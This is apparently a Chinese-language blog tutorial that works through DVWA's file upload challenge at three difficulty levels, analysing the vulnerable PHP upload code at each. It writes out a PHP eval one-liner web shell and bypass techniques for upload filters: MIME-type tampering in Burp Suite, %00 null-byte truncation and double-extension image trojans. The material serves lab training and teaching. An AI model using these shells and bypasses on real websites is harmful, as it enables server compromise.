忘了編譯器了,編輯器漏洞和文件上傳漏洞原理同樣,只不過多了一個編輯器。上傳的時候仍是會把咱們的腳本上傳上去。很多編譯器自己就存在文件上傳漏洞,舉個栗子:進入網站後臺後若是找不到上傳的地方或者其餘姿式很差使的時候,就能夠從編譯器下手進行上傳,從而GETSHELL。常見的編譯器有:Ewebeditor,fckeditor,ckeditor,kindeditor等等。百度搜索各類編譯器利用的相關姿式。網上不少這裏就不寫了。
先了解一下PHP經過$_FILES
對象來讀取文件,以便於下面的理解
PHP中經過$_FILES
對象來讀取文件,經過下列幾個屬性:
$_FILES[file]['name']
- 被上傳文件的名稱。
$_FILES[file]['type']
- 被上傳文件的類型。
$_FILES[file]['size']
- 被上傳文件的大小(字節)。
$_FILES[file]['tmp_name']
- 被上傳文件在服務器保存的路徑,一般位於臨時目錄中。
$_FILES[file]['error']
- 錯誤代碼,0爲無錯誤,其它都是有錯誤。
DVWA分析
選擇low級別,先進行黑盒測試一下,直接上傳個php一句話:<?php @eval($_POST["orange"]); ?>
看到上傳成功,路徑(http://127.0.0.1/DVWA-1.9/hackable/uploads/upload.php),
看一下代碼
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
不懂上面的函數什麼意思能夠百度一下,
basename()函數:basename(path,suffix) , basename() 函數返回路徑中的文件名部分。若是可選參數suffix爲空,則返回的文件名包含後綴名,反之不包含後綴名。move_uploaded_file()函數:move_uploaded_file(file,newloc) , move_uploaded_file() 函數將上傳的文件移動到新位置。若成功,則返回 true,不然返回 false。本函數檢查並確保由 file 指定的文件是合法的上傳文件(即經過 PHP 的 HTTP POST 上傳機制所上傳的)。若是文件合法,則將其移動爲由 newloc 指定的文件。
分析:DVWA_WEB_PAGE_TO_ROOT爲網頁的根目錄,target_path變量爲上傳文件的絕對路徑,basename( $_FILES['uploaded']['name'])將文件中已經「uploaded」的文件的名字取出並加入到target_path變量中。if語句判斷文件是否上傳到指定的路徑中,若沒有則顯示沒有上傳。
能夠看到,服務器對上傳文件的類型、內容沒有作任何的檢查、過濾,存在明顯的文件上傳漏洞,因此能夠上傳任意文件,生成上傳路徑後,服務器會檢查是否上傳成功並返回相應提示信息。
選擇mediem級別,看下代碼
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
能夠看到對上傳的類型和大小加以限制,限制文件類型必須是image/jpeg和image.png,而且上傳文件的大小小於100000(97.6KB)
可是簡單地設置檢測文件的類型,所以能夠經過burpsuite來修改文件的類型進行過濾便可
咱們能夠經過burpsuite抓包修改文件類型,具體以下圖所示,經過抓包上傳upload.php,把.php文件成功上傳(上傳的png文件是小於97.6KB的)
注:這裏也是能夠利用%00截斷上傳,講下圖中的upload.png改爲upload.php%00.png就能夠突破限制,成功上傳。
選擇high級別,看下代碼
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
分析:strrpos(string,find,start)
函數返回字符串find在另外一字符串string中最後一次出現的位置,若是沒有找到字符串則返回false,可選參數start規定在何處開始搜索。
getimagesize(string filename)
函數會經過讀取文件頭,返回圖片的長、寬等信息,若是沒有相關的圖片文件頭,函數會報錯。
能夠看到,High級別的代碼讀取文件名中最後一個」.」後的字符串,指望經過文件名來限制文件類型,所以要求上傳文件名形式必須是」*.jpg」、」*.jpeg」 、」*.png」之一。同時,getimagesize函數更是限制了上傳文件的文件頭必須爲圖像類型。
用圖片馬進行繞過,抓包修改,把"phptupianma.png"改成"phptupianma.php.png"
在原本的文件名的文件名稱和後綴名之間加上php的後綴形式,使其位於中間位置,以便於使其在服務器端看成php文件來執行,這樣就能夠成功上傳。
還有其餘漏洞類型的審計,之後會慢慢補充......
上面所寫到的工具和環境都分享在雲盤裏面(連接: https://pan.baidu.com/s/1pLr7w6Z 密碼: r326)
本文連接(http://www.cnblogs.com/Oran9e/p/7763751.html),轉載請註明。